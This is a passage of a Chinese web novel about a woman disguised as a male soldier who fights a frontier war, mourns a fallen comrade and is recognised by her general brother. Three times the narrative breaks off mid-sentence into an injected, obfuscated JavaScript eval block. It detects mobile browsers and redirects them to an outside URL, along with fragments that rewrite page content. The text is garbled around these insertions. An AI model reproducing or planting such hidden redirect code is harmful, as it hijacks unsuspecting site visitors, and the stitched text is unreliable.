严长福一听这话就精神了,抢着答:“你问这个作甚?”不会是耿红的旧相识吧。 三个“男人”一台戏。 申苇见严长福眉头紧锁就知道对方误会了,连忙解释道:“我从前跟一位与这壮士面容相似的姑娘交过手,可惜她中途走了,我们的切磋还没分出胜负。” 严长福迷糊了,耿红看上去不像是会武功的人,且长相与耿碧也不怎相似,疑惑看向身边一言不发的人:“你们还有别的姐妹?” 两道探究的目光盯在耿碧身上,她只好故作淡定:“我只有一个不会武的姐姐。天下人之多,长相相似也不奇怪,你或许是认错人了。” 申苇叹息:“只是那位少侠和您简直像一个模子里刻出来的,不仅面容身形,连声音都很相似。” 耿碧心里清楚对方要找的人十有八九和自己有关,打定主意要找机会他的套套话,故意开玩笑:“你们是在何处相遇?说不定是我远房亲戚。” 申苇此人是个弃婴,被养济院收容长大,有了安身立命的本事之后便出门到处闯荡讨口饭吃。前几年到了真岱郡见到如此多英雄豪杰,内心澎湃不已,索性在郡中住下修炼武功。 不期然遇见孔英,本因对方年纪尚小而轻视对手,结果几招过后自己隐有落败迹象,忙拿出真功夫上阵,却没想到身后暗器飞来,自己本就专心致志对付孔英,哪里避闪得及。 要不是孔英拉了自己一把,恐怕申苇就要被暗器所伤。 他寻孔英,既是要继续那场尚未完成的比试,也想亲口感谢对方伸出援手。 听申苇说了前因后果,耿碧越来越觉得对方口中的少年英侠分明就是自己,一样的武功高强,一样的遭人追杀。只可惜对方怕是不能如愿,自己还不想在军中暴露身份。 陷入思索的耿碧没注意到,暗处的王康偷听着几人谈话疑窦丛生。 王康可不相信世界上两个毫无瓜葛的人会有如此多相似之处。况且他本就对耿碧多有不满,现下听了申苇的话,一个颇为大胆的念头浮现在脑海里。 这耿碧身量小声音尖,乍一看确实像个娘娘腔。难道……不对啊,耿碧要真是个女人,她怎敢孤身入军营,还和自己打得有来有回。 (其实是被单方面殴打的)王康沉思,一双眼睛对耿碧看了又看,心头忍不住幻想起对方穿一身女装的样子。 好像……是比男装更合适。而且他似乎从来没见过耿碧和兄弟们一起洗漱,就连和其关系最好的严长福都是没有。 是夜,众人经过整天劳累在床上一躺就睡,呼噜声此起彼伏,掩盖了其中轻微的脚步声。 王康踮起脚小心落地,眯着眼睛找耿碧睡在哪儿,真站在了耿碧床头才觉察出自己的念头是何等荒唐。 他竟然真为了个莫名其妙的猜测连觉都不睡,摸着黑跑来求证。 不过来都来了。王康探了探耿碧的鼻息,确认对方睡得安稳,继续将手犹豫着往下伸去。 就在王康之手就要碰到对方胸口之时,原本呼吸平稳的耿碧却突然睁开眼,反应及其灵敏地钳住那只手,反过来一折—— “嗷!”王康痛得跪倒在地,只觉得右手脱臼似的疼,额头冷汗直冒。 耿碧翻身下床,一脚将王康踹倒在地,嘴里怒骂:“我去,你个死变态,你想做甚!” 这一变故吵醒不少人,许多兵卒骂骂咧咧起身,发现是本有旧怨的耿碧和王康,见怪不怪地让两人出去打。更有好事者瞎起哄,打听着发生了何事。 耿碧不欲受人旁观,火气冲天地拽起王康后脖颈的衣领,拖着对方往营帐外走去。 到了空旷处,耿碧将王康狠狠一甩,王康撞上木桩子眼冒金星,暗恼自己怎么还要来惹这个灾神。 每次遇上对方,自己准没好事! 耿碧还不解气,却不得不压抑着避免引起更多围观,压低声音咬着牙:“你三更半夜不睡觉还来讨打,真是皮痒了?” 王康喘着粗气,火气也上来了,出言嘲讽:“你不问缘由出手就打,谁知不是心中有鬼?” 耿碧攥紧拳头,深呼吸着最终还是没忍住,上前甩了对方一个大嘴巴:“我心中有鬼?你倒是说说我心中有何鬼!” 王康脸庞麻了一瞬,不管不顾说出内心猜测:“握换伊李四吕的!” 他被耿碧打得没法好好说话,言语口齿不清,暗中看热闹者皆是满脸疑惑,不知道王康说了什么。 耿碧离得近又知道原委,半听半猜出了王康话中含义,心中一惊,不知道自己是何处露了马脚。眼见对方挨了打却依旧挑衅的目光,心知他不会善罢甘休。 不过,既然有底气女扮男装入伍,又怎会丝毫防备都无? 终于等到这天的耿碧神秘一笑,捉起对方完好未受伤的手就往自己身下探去。 王康惊恐着对方要将自己另一只手也折断,还死命挣扎着,猛然碰到某个棍状物,浑身一僵。 “呵,掏出来比你大。” 语气极尽嘲讽,王康自愧不如。 了结一桩心事,证人还是自己的死对头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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若是她没有惊醒,若是她没有提前准备,若是她没有武力压制王康,那么东窗事发之后,等着耿碧的就一个“死”字。 王康本来就存了害她的心思,现在阴差阳错偷鸡不成蚀把米,耿碧看笑话还来不及。更何况这谣言彻底坐实耿碧的男子身份,她还希望谣言能传得更广些。 传着传着,传进了耿红耳朵里。 “哎呀哎呀,怎得还有这种人,不过幸好是个蠢蛋,连茄子都摸不出来。” 耿碧哈哈大笑:“真可惜你没见到他那吃了狗屎一样的表情。还是谢谢姐姐为我找来的生茄子,这一关好歹是过了。” 耿红好笑地点了点她的脑门:“你呀别得意忘形,在军中生活还是要小心些。你之前提起来的申苇,有没有从他嘴里套出更多话?” 耿碧遗憾摇头:“他以前和我交过手,但萍水相逢谁也不认识谁,这条线算是断了。。” 耿红默默,掏出个油纸包好的月饼给她。 “今日中秋,我们发了月饼吃。总归知道了你以前去过真岱郡,你家就在真岱郡也说不定。总归慢慢来,你这么厉害,说不定还能挣个军功衣锦还乡。” 她感动于耿红的体贴,咬了一口月饼:“谢谢姐姐……呕,”她脸色巨变,“怎么是五仁月饼!” 耿红一拳捶在她身上: “有的吃就不错啦!” 35. 寒光照铁衣 军中生活免不了枯燥,兵痞子暗地里凑在一起打牌赌钱。耿碧不喜这些,空闲时宁愿多去沙场上跑几圈,也不掺和那些事。 而最近这段时日来,兵痞子打牌的次数越来越多,甚至有时半夜都叫嚣着自己的好手气。 耿碧对此颇有怨言,严长福却说全是因为边疆形势越发危急,众人指不定就何时上了战场再回不来,当然要趁这段时间好好发泄。 耿碧诧异:“你居然看得这样透彻?”在她印象里严长福就是个傻的,冷不丁听了这番话也对严长福有些刮目相看。 “你可别损我,我这样说是因为我也这般想,至于别人是不是这样,我哪里晓得哟。” “到时候真上了战场,你要是害怕就跟在我后面,我不死你也死不了。” 严长福恼她口无遮拦,连忙要耿碧“呸呸呸”三声:“我人高马大,你又挡不住我。” 两人坐在沙场边上有一搭没一搭聊。 耿碧随手拽了根野草衔在嘴里,一脚翘在另一腿的膝盖上,手肘撑在脑后躺下:“严长福,我还不知道你是哪里人?” 严长福挺了挺胸膛:“我是七仙郡人,那可是个好地方嘞,好山好水好漂亮。” 耿碧嚼着草根,一股清苦的味道在嘴里泛滥开:“七贤郡?我好像听过这个名字。” “你肯定是听过有关七贤郡的传闻。” “说来听听。” 这个传闻是严长福小时候听祖母传下来的,许多年前七贤郡不叫七贤郡,而叫“七仙郡”。 七仙郡内有一宗门传承最为深远,这宗门最初创立时收了七个武学弟子,这七弟子无一不惊才艳艳,一下子就将宗门名声打了出去,慕名而来拜师学武的江湖人犹如过江之卿。 但这宗门有个规矩规矩,每代弟子只可收一个徒弟传承,因而一代七仙代代七仙,七仙郡的名字也因此而来。“仙”字是时人对其招式精妙、功法高深的赞美。 直到赵氏王朝荒淫无道引起民愤,各路英雄好汉揭竿而起。 起义军打到七仙郡时经历长久的苦战,各种战略战术威逼利诱都用上了,而掌控七仙郡的宗门弟子无动于衷,最后是熬到了弹尽粮绝的地步才被攻破。宗门七仙要不战死,要不苦守城池绝食明志而亡。 新王登基后感慨于七仙至忠至孝,于是赐名“七贤郡”。 “我祖母是那时侥幸活下来的人,据她说当时城内已经到了易子而食的地步,简直是人间惨剧。” 耿碧吐出嘴里嚼烂的草根,直言不讳道:“可为什么不开城门呢,当今圣上不是以仁德治天下吗?真开了城门,说不定死的人能更少些。” 严长福一愣,想说不对,又觉得耿碧的话也很有道理。 实际上当时起义军四处征战的过程中,也有不少城池主动打开城门欢迎,都完成了和平的权力交接。 严长福只好道:“我不知道,毕竟是前朝的事了,或许当时人认死理?” 耿碧不说话了,看天上云飘来飘去,心里一直想着这件事。 至忠至孝还是愚忠愚孝?赵氏王朝被推翻就是因为苛政暴政,居然还有人这样忠心耿耿。可是城中人都如七仙这般效忠赵王吗,他们真不想开城门吗? 这些事情恐怕只有当事人才知道了,过多的猜测也只是自身理念的投影而已。 “如果是你,你会开城门吗?” 耿碧问出口后久久没听到回复,疑惑地向身边人看去,发现严长福早就闭着眼呼呼大睡,无奈地摇摇头。这种事情怕是问他也只有个“不知道”的答案。 天高云淡,今日西北的风难得柔和,耿碧心知这样平静的日子恐怕是暴风雨前最后的宁静。 果不其然,就在十月底西北下第一场雪的时候,以游牧为生的异族终于按耐不住亮出獠牙,突袭本朝边境,劫掠粮食屠杀百姓。 军营里传来这一消息时像油锅里进了一滴水,轰然一下子炸开来。与愤怒同时到来的是一纸调令,指挥包括耿碧、严长福、王康、申苇等人在内的军队奔赴前线。 严长福当天颤抖着手吃完了最后一顿饭,起身时差点腿软地动不了,被江总旗一把拍在后脑勺上。 江总旗是直接指挥他们这支队伍的长官,也是第一次惩罚耿碧的那个黑脸军官,官职不大脾气很硬派。他义愤填膺指着严长福骂: “北虏没杀到你家人头上是吧!是兵就给我带点血性出来!” 江总旗见军中不少人一听说要上真正的战场就吓得屁滚尿流,心里憋着一团火,正好趁此机会在军中好好树威,借着骂严长福的机会,骂所有人未上阵心先怂的软蛋。 耿碧扶住严长福,拍拍对方脊背安慰他。人没有不怕死的,就算是她也怕死,怕死在无亲无眷离家上百里的战壕,怕死在凶残无道的异族手上,怕死后还要像传闻里那样被做成京观。 只是人都走到这个地步,除了往前再无他路。 很多时候耿碧都是用这句话来安慰自己。她想做什么便去做什么,做得风风火火不计后果,于是就算想要回头,也会发现自己的退路早就被斩断干净,只好接着走下去。 有点极端,但好歹目前为止的结果都还不错。 耿碧和严长福所在的队伍很不幸成了先锋队,所有人情绪都很低落。毕竟大家心里都清楚,先锋队的名号有多好听,存活率就有多低。一支一支先锋队就是一支一支送死的倒霉鬼。 临出发前,严长福又凑过来和耿碧走一起,不知是不是和耿红呆久了,他也像耿红般絮絮叨叨起来。 “我昨晚上去找小红谈心,”他低垂着头很落寞的样子,“小红跟我说清楚了她对我无意。” 耿碧不由得侧目,竖起耳朵接着听下去。 “但是小红说要是我能平安从战场上活下来,她就再考虑一下我俩的事。” 耿碧扶额,几乎能想象出耿红肯定是受不了严长福死缠烂打,但又心慈手软留了一丝底线,怕严长福这一根筋的想不开。 耿红从前就和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288455|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说过自己以后不会再嫁。 “我清楚自己是个是个什么性子,就算再将自己嫁出去,识人不清也是受人磋磨。不如就安安稳稳一个人,攒点小钱开个医药铺子,总归有门技艺傍身饿不死。况且中医越老越吃香呢!” 耿碧一开始还担心她是因前夫留下了阴影,可是看着耿红脸上那一如往常般平和柔软的神情,总觉得她和一开始见到的人不一样了。 具体是哪里不一样嘛,恕耿碧还说不出来,但肯定是越来越好。 从回忆中清醒过来,身边严长福还话痨般不停说着。 “我真开心,小红这么说是不是意味着她对我也不是完完全全一点意思都没有?” 自欺欺人。 “其实就算不是为了小红,为了我爹我娘我二弟三妹四妹五弟,我也为想方设法活下去。哈哈,说出来也不怕你笑话,我之前做了个梦,梦见自己一个人就杀了那异族首领。” 自欺欺人。 “我,我还梦见自己带着一家人住进了官家赐的府邸,可惜还没等我们住进去呢梦就醒了……害,不过也是,我从没见过那么好的房子,特别怕进去了才发现和自家茅草屋也差不多。” 自欺欺人。 “……怎么办呢,我还想回一趟村里,我爹我娘我二弟三妹四妹五弟还等着我呀,还有小红……我还想对她好呢……” 自欺欺人。 “……” 自欺欺人! 一口鲜血,又一口鲜血吐出来,仿佛站在她眼前的不是个活人,而是个破了洞的血袋。 耿碧浑身冰凉,苍白脸色上溅了血花,接住严长福瘫倒下来的身躯匆匆安放在地上,胡乱抹了把脸,重捡起已经砍出豁口的长刀,双眼泛红重重砍向方才偷袭她的人。 “咕噜噜。”一颗头颅滚落在地。 在严长福已经模糊不清的视线里,他和这颗明显属于异族的死不瞑目的头颅四目相对,嘴角咧出一个笑。 他就知道耿碧会帮他报仇。 硝烟弥漫,困兽厮杀,战场上一片混乱与血腥。兵器挥舞剑刃相撞,残肢断臂飞落,惨叫声、怒吼声交织在一起,残破的旗帜倒在泥泞中。 敌军一刀刺向她的侧腹,耿碧身体猛地一颤,反而握紧手中武器,发出一声嘶哑的怒吼。忍着剧痛猛地扑向袭击者,用尽全力将手中带血的长刀穿破铠甲刺入袭击者的腹部。 袭击者难以置信瞪大双眼,鲜血瞬间喷涌而出,最终只能无力地倒在地上抽搐。 她杀红了眼,大口喘着粗气,脸上沾满鲜血和污垢,已经分不清是自己的还是敌人的。手中刀砍得卷了刃,不管不顾,依旧高举着,每一下挥砍都带着十足的狠劲,仿佛不知疼痛与疲惫。 杀到最后,耿碧身边已经形成了一个真空地带。 “嘭。” 敌军呼号撤退,她的双腿已经不足以支撑着身体的重量,整个人摇摇欲坠。 奇怪,分明是阴天,为何阳光如此刺目。 36. 将军百战死 严长福在走马灯里见到许多和家人的美好回忆。 先是母亲用温暖的怀抱将他拥在怀里,带着乡音的村言乡调哄着因噩梦惊厥的幼童,然后画面一转,他站在学堂前,见二弟放学后飞扑到自己怀里,二弟抬起头时脸成了四妹失声痛哭的模样。 严长福将四妹妹埋在自己胸前,对着夜色发誓以后一定要顶天立地,不再让家人受委屈。 最后他见到了耿红,这个总是温温柔柔的女人现如今正和别人吵得脸红脖子粗。严长福发笑,这个样子的小红也好好看。 欸,不对。 他猛然回过神,顿时察觉到了身上各处传来的剧痛。耿红听见响动回头,连忙过来让他别动。此战伤患多,她劳碌几日,眼底乌青,便于行动的衣裤沾染不少脏污。 严长福想,浪费药材去救个必死之人,怪不得小红要和别人吵架呢。 耿红眼眶微红:“你好好躺着别睡觉,想点什么东西都行,千万别睡。” 小红都发话了,那他可就大胆想了。先想想怎么以后怎样才能娶到小红,哦不对不对,再大胆一点,娶到小红以后,他们要买间气派的大宅院,专门开辟出一块田地给小红种草药。 有的药材是动物?没事,是走兽就买一座山,是飞禽就买一片天,总归不能让大夫没药材用。 这个幻想有点太美好了,或许是回光返照让他有了些气力,严长福忍不住笑出声,振动的胸腔牵连起一片疼,铁锈味从喉咙下面翻涌上来直冲脑门。 他居然没死在战场上,肯定是耿碧把他带回来的,他就知道自己没看错人。好兄弟,够义气!也不知道耿碧怎么样了,其杀了那么多敌军,肯定能受封赏吧! 说曹操曹操到。 耿碧身上的伤口已经由耿红处理过。其实她受的伤不比严长福轻多少,但得益于实在强悍的身体素质,已经能够下地行走。她手里拿着个薄薄的信封,一瘸一拐拖着脚步到严长福身边席地坐下。 看来其状况不错,还有闲心嬉皮笑脸。 “醒了啊?醒了就别睡了,你看看这是啥。”耿碧扬了扬手中书信,“你二弟送来的家书!你说这家书送来的多及时,正好我们打了胜仗后就到了。” 严长福眨了眨眼,连呼吸都急促起来。 耿碧将信在严长福面前展示了一下,又将内容面向自己,颇为体贴道:“你不认识字,我给你读昂。” 敬爱的兄长,展信佳。许久未见,甚是想念。家中一切安好,不知你在军中近况如何?年关将至,家中很热闹,爹娘三妹四妹五弟俱在,唯独少了大哥。盼望平安归来,早日与家人团圆。 纸短情长。 耿碧念得很大声,一字一顿,不足百字的书信念出了无比庄重的感觉。严长福近乎贪婪地听着,像是要把那一字一句都印刻在脑海里。 “你家人都在等着你回去嘞,不像我和我姐,世上只留下我们两个相依为命。你小子能有这样的家人,我可真羡慕你!” 耿碧边说着,边将信纸对折想重新放回信封,被严长福突然抬起手拿过去,她下意识想拿回来,伸出的手硬生生顿住。 他细细摩挲着信纸,将纸上看不懂的笔画看了又看,脸上笑容就没落下去过。 “二弟用这样细致的纸给我写信,看来家中光景越来越好,我寄回去的钱他们应该都收到了。真好,真好。” 严长福目光柔和:“耿碧,谢谢你。” 她浑身一颤,咬着牙不说话。 倘若时间用日晷来算,或许对每个人都公平。不过若是用一呼一吸的瞬间来算,对严长福和耿碧而言都显得短暂。 严长福将信纸贴在胸口心脏的位置,正对着母亲缝给他的护心镜,再无力撑开眼皮,意识模模糊糊间看见家人站在一团温暖的光辉里,站在村头的田埂上等他回去。 耿碧一开始还忍着,豆大的泪珠直直掉在衣衫上。直到耿红看不过去将她抱进自己怀里,她才终于失声痛哭,双手无力地扯住耿红的衣摆。 “为什么啊!为什么啊!” 耿碧鼻涕眼泪糊了一脸:“他是为了救我!他是替我去死的啊!” 太过悲痛,她身上的绷带渗出触目惊心的鲜血。耿红心里也不好受,看着那人面容依旧生动,似乎只是沉沉睡了过去。都已经是活过来的人了,能说能笑,怎么还是抢不过阎王爷呢。 此战虽胜,死伤惨重。帐子里到处是受伤的兵卒,快没地方落足。耿红陀螺似的转却也忙不过来,浑身上下被血腥味泡了个彻彻底底。 医者仁心,她听着那些人疼得哭爹喊娘,内心悲怆又无奈。只稍稍一闭眼养神,似乎也能看见战场上的尸山血海。 耿碧苦于无力救下严长福,她则苦于无力救下每个人,就像是……那年她没能治好感染风寒妹妹。 只一场风寒!要是她将屋子里的火烧得再旺些,窗子关得再严实些,妹妹是否还能活在世上,用与她极为相似的一双眼睛再看一看这个世界。 妹妹死后,耿红不敢再对镜帖花黄。 耿红现在见耿红哭得不能自已,狠心捏住她的肩膀,沉下语气: “你哭也哭过了,怨也怨过了,若是不想再见这么多人死伤,现在跟着我来。” 军医人少而伤患众多,耿红不得不拉着轻伤的伤兵一起打下手。见耿碧依旧抽噎,却也干脆利落站起身,通红的眼睛里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288456|198482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染上坚定,耿红松了口气,带着她便又忙碌起来。 耿碧略微处理了渗血的伤,跟着耿红前前后后,在其中见到不少熟人,她还见到了王康。 王康大腿上中了一箭,拔箭头时疼得哭爹喊娘。耿碧接过从他腿上生拔下来的鲜血淋漓的箭,在一旁瞧得真切,那腿上足有个拳头大的洞。 平日的对头沦落到这种境地,耿碧并不落井下石幸灾乐祸,反而有种兔死狐悲唇亡齿寒之感。 包扎这种易上手的活交给了耿碧。手上的纱布刚一碰上王康的腿,就被鲜血浸得透彻,她不得不多拿了好几卷纱布,上完止血药后用力缠紧。 王康方才拔完箭头时还浑身脱力瘫倒,出气多进气少,耿碧疑心他也要死了。 结果这人一见是耿碧替自己包扎,不知道从哪里来得力气,骂她是公报私仇小人行径,没骂几句又疼得只能哼哼唧唧。 耿碧心里一股无名火,低声嘀咕:“小人之心度君子之腹。”知道轻重缓急,并不多和王康纠缠,跟着耿红去照顾下一个伤者。 王康喘着粗气,只觉得腿上疼得快麻木。其实不只是腿,每个从战场上下来的人浑身都有伤。 只是他害怕,害怕自己的腿就要养不好,从此要当一个瘸腿跛子。 在王康老家镇上就有个人天生跛脚,一腿长一腿短,在镇上走路时常引来别人侧目,数落着跛子的不幸。镇上顽童多,渐渐便传出一句顺口溜,来嘲讽那个跛子走路像鸭子。 “走路摇摆摆,说话嘎嘎嘎!” 顽童们齐声念完便哄笑着跑开,幼时的王康也在其中。他边跑边回头,见那跛子气得满脸涨红,跑了几步又狠狠摔在地上,他笑得更加欢畅。 结果没看前路,狠狠撞在别人身上。王康吃痛地揉揉额头,抬头却发现自己那当屠夫的爹正凶神恶煞瞪着自己。 屠夫爹像拎小鸡仔一样提着王康回去,见跛子还在地上挣扎着起不来,赶忙扶起人后好声好气道歉,还要王康跪地给跛子磕头。 他不愿意,脾气火暴的屠夫爹便一脚踹上他的膝盖,压着王康的头磕在地上。那副凶狠样子,连跛子见了都连连摆手说不用不用。 此事之后,王康算是在那群顽童面前丢光了脸,那些人不再带着他玩。王康时常怨恨爹为何要在大庭广众下叫自己难堪,屠夫爹只是一声不啃将屠刀磨得锋利,王康就不敢再说,生怕屠夫爹像宰猪一样把自己也宰了。 而今十余年过去,当王康真像头濒死的猪仔躺在昏暗无日的营帐里,身边众人的叫声比杀猪声还要刺耳。 他只能颤抖着手摸上被耿碧包成猪肘子的腿,恍惚间居然领悟了屠夫爹未曾说出口的话。 37. 壮士十年归 战争从旧年的第一场雪持续到来年新春的最后一场雪,春寒料峭时节,异族撤退回草原。 真正经历战火洗礼的耿碧,整个人瘦削硬朗不少,本就不白的皮肤更加黝黑,只是脸上曾被敌军淬了毒的利箭射伤,留下道去不掉的伤疤。 当时耿红还很担忧,毕竟她知道耿碧是个女孩,女孩脸上留疤总是不好的。 “哪里不好?”耿碧一脸笑嘻嘻,“姐姐是觉得这道伤疤丑陋,怕我嫁不出去?” 她伸出指头摇了摇:“且不说看脸择人多肤浅,再说这疤可是我英勇无畏的最好证明。要是那人嫌弃我,我还看不上他呢!” 耿红无奈:“好好好,英勇的妹妹快躺下,我还得给你换药呢。” 因着耿碧身份特殊,换药时只好躲开旁人。其余人都知道耿红耿碧是姐弟,最多吐槽一句耿碧矫情,也不多留意。 军队大胜,有功者皆论功行赏。 王康的腿保全住了,只是疾走奔跑时还看得出不自然,只好从前军退到后勤。他从屠夫爹身上学到了一手好本事,当起火头兵来居然比当先锋兵时还得心应手。 起初心高气傲的人如今平和许多,作为保障军队战斗力不可或缺的火头兵代表,也参加了与高级将领同席的庆功宴。 王康人在后勤,却时时刻刻留心着前军作战的消息。不知是怎么回事,他听到最多的消息居然全和耿碧有关。 耿碧勇往直前!耿碧万夫莫开!耿碧武神临世势不可挡!王康听着这些越传越离谱的谣言,心里觉得好笑,手上颠锅动作不停。 他又不是没和耿碧交过手,其武功是厉害,但哪有谣传得这么夸张。 只是见别人说起耿碧大名时眼中流露出的崇拜与向往,王康对这个从前的对头也羡慕嫉妒起来。 人家现在可是军中的风云人物,靠着军功连升几级,估计连他这个人都不记得是谁了,一时间王康心里多少有些落寞。 “王康?” “欸?”他下意识回头,呼吸一滞。 如今已经是耿百户的耿碧意气风发,为庆功宴脱下战服穿身素色长袍,比平日里少些杀气,多些文人的儒雅,让人眼前一亮。 居然……有点好看。 耿红挽着耿碧的胳膊,好奇问:“这就是先前总欺负你的那人?” 王康回过神,面上浮现羞恼,耿碧则颇为大度地挥挥手:“哪有,他又打不过我。” 他脸色更红,气不过反驳道:“胡说!要不就来比比看。” 耿碧撇嘴:“嘴比骨头硬,你在我手上哪次过了三招?” 一吵一闹,似乎几人间的身份差距被一只大手抹去,又回到初入军营谁都看不起谁的时候。 最后还是耿红出言阻止了这场闹剧:“好了好了,庆功宴将要开始,我们快进去吧。” 耿碧兴奋地眼睛发亮。据说是因为有个大将军亲临军营犒劳将领,这次庆功宴十分隆重豪华,宴上各种鱼羊猪牛应有尽有,还有乐师演奏、舞姬献舞。 哎呀哎呀,打了这么久的仗,耿碧总感觉自己没吃过一顿饱饭,看看手臂上的肌肉都变小了。 趁着这次机会,她要大吃特吃,吃出强大,吃出未来! 作为军中最受人瞩目的后起之秀,耿碧方一进营帐就受到了各路人吹捧。她心思不在寒暄应酬,潦草对付过去,就拉着耿红径直走向自己的座位。 耿碧座位排得十分靠前,矮桌上已摆好开胃小菜。不得不说,沾了那位大将军的光可就是不一样,连小菜都比平日鲜香爽口。 好吃是好吃,就是越吃越饿。 正餐得等那位大将军来了才能上,耿碧等得心痒难耐,恨不得翻进后厨先一吃为快。 “这将军居然还迟到,摆的什么架子啊。”她和耿红悄悄咬耳朵。 耿红安慰道:“大官都这样,像你这样升了官还一心讲究着吃的才是少数。” 耿碧不满:“民以食为天,想着吃才是正经事。” 姐妹俩正笑闹间,帐外传来嘈杂声,帐中人不约而同将目光注视在大步流星走进营帐的人身上。 剑眉星目英姿不凡,周身气质老成稳重,举止间透露出将军气概,将身后披风一甩,豪气十足地入席落座,落落大方与周围将领拱手示意。 耿红:“哇,这将军还挺帅的。” 耿碧超小声:“装货。” 不知是不是没控制好音量,只见那将军眉头一拧怒目过来—— “英、英英?” 耿碧:骂顶头上司被当场抓包后他对我嘤嘤嘤是为什么? - 直到被请进将军营帐,耿碧还反应不过来,啃了口从席上顺下来的烤羊腿,对身边同样呆愣的耿红说:“是吧,你也听到刚才将军说我是他妹妹对吧?” 耿红长长倒吸一口凉气:“他说的是你呀,吓死我了,我还担心我爹娘不是我亲爹娘呢。” 这不怪耿红,任谁见将军突然毫不稳重地一拍桌子跳起来,对着两人所在的方向情绪异常激动喊“妹妹”,都会觉得是在喊耿红而非耿碧。 营中所有声响一下子全消失了,所有人都惊异地看向失态的将军。 直到身边人向他介绍那时新升职的耿百户与其姐姐,看清了耿碧身上的男装,孔肃才恍然意识到自己的鲁莽,只是重新落座之后目光仍时不时扫向两人所在的位置。 耿碧和耿红俱是一头雾水,战战兢兢吃完了饭还没歇会儿,就被请到了将军营帐。 “其实细看之下你与将军的面容确实有些相似,难道你真是他妹妹?” 耿碧正想说话,突然一个身影从帐外冲进来一把抱住她,惊慌之下她用空闲着的手作拳状击向来人,那人却似乎很熟悉她的招式,提前预判并用巧劲轻松化解掉。 孔肃笑笑:“英英,你这招式真是半点没变。” 他感慨,早在孔英初学武时,她的天生神力就初见端倪。孔肃和弟弟孔穆还绞尽脑汁想了好久,怎么才能不被家里的 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孔肃恨得咬牙切齿,若是楼修生在跟前,他早就一拳捶上去了。 “你放心,这种委屈我护国公府可一点都忍不了!等我书信回去告知咱爹,定要狠狠治楼修生的罪!” 不知为何,孔英听到这个名字时心脏隐隐钝痛。 孔肃略微思索后道:“英英,我先派人护送你回京城。爹许久不见你,你出了这样大的事,他老人家在京城肯定待不安稳。” 营帐内气氛沉重,营帐外歌舞升平。 孔英犹豫过后还是摇头:“既然有人想杀我,暴露身份回京城是自投罗网,军营中反而最安全。况且我浴血杀敌这么久,难道要这么放弃得之不易的一切吗?” 孔肃气笑:“你还不相信我派出的人?你想当官,别说是个百户,就是千户万户,哥哥也能给你。” 想他在军中闯荡多年,这点权力还是有的。况且孔英又不是不学无术的稻草包,孔肃半点都不心虚,还觉得自己是替军替国招揽人才。在某种程度上,兄妹俩的脾气如出一辙。 回京城,回去继续当受人庇护的护国公三小姐,有人撑腰,有人在她杀人放火时递刀。 看着眼前期待望着自己的兄长,孔英终究是摇了摇头。 “别人给的终归不如自己拿来的好。再说我现在记忆全无,就算是凶手站在我跟前都不知道,还不如留在军营继续当耿碧。” 见她如此执着,孔肃只好放弃,只是苦笑道:“你这个脾气呀。”退而求其次道,“你可以继续留在军中,但要调去我麾下,不然我实在不放心。” 孔英点头应下,却提出要求:“希望大哥不要暴露我的身份,我不想别人以为我是靠门户背景才走到今天。” “也好。” 孔肃看着这个曾经的小妹如今已成为能独当一面的女子汉,心中无比欣慰。 要是母亲还在,肯定也会开心吧。 38. 孔英要回归见大嫂 孔将军一纸调令将耿百户调到自己军下,这一消息传出,孔英风头更盛。 别人羡慕其好运,只靠一顿庆功宴就让入了将军青眼。也有人迷惑不解,孔将军这是看上了耿百户什么呢,但不成是饭量大?不然两人在庆功宴上也没甚交集,怎么被选走的人不是自己呢。 果然“廉颇老矣尚能饭否”的典故还是很有道理的,饭量真能决定很多事。 谣言许许,王康听在耳里,不过他和众人的猜测都不一样。 原本王康就怀疑过耿碧是女儿身,只是之前种种闹剧让他放弃了这个猜测。直到那天庆功宴,王康亲眼看见孔将军对着耿红耿碧二人叫“妹妹”,某个念头忽然在他脑海里炸开。 将种种一切细微的不寻常处串联起来,耿碧从不与人一同洗澡,换药时从不让人看见……原本只觉得其扭捏矫情,现在看来分明是有隐情。 可是,之前,怎么会呢? 王康觉得自己的猜测荒谬,又忍不住想耿碧若真是个女孩…… 春雨初歇,树木抽新芽,孔英策马随长兄去往另一处驻地,意气风发好不畅快,走时还带上了耿红。 耿红当日听说了孔英的真实身份又惊又愣,没想到自己救下的居然是当今护国公府三小姐,自己也因此乘上东风,被赏赐许多金银珠宝。 不过她谢却了大部分,转而求些珍贵草药。并不是耿红故作清高,只是先前战役的死伤实在给她留下太沉重的回忆。她当然知道战争难免死人,可身为军医,耿红总觉得没救活那些人是自己的责任。 现在正是休假期间,还无需去军营,孔肃便带着孔英去了自己的官邸,翻身下马后不忘嘱咐孔英: “你还没见过你大嫂,她胆子小,等会儿进去你动作小心些。” 当初为张罗孔肃的婚事,护国公花了不少心思,京城贵女的画像一副接着一副地送过来,结果孔肃全原封不动地还了回去,只说自己还没有成家的心思。 最开始他和舒月蓉的结合并不被人看好,毕竟一个是出身显贵的少年将军,一个是挑着担子走街串巷的卖花女,在故事开始之前,任谁都想不到两人间会有交集。 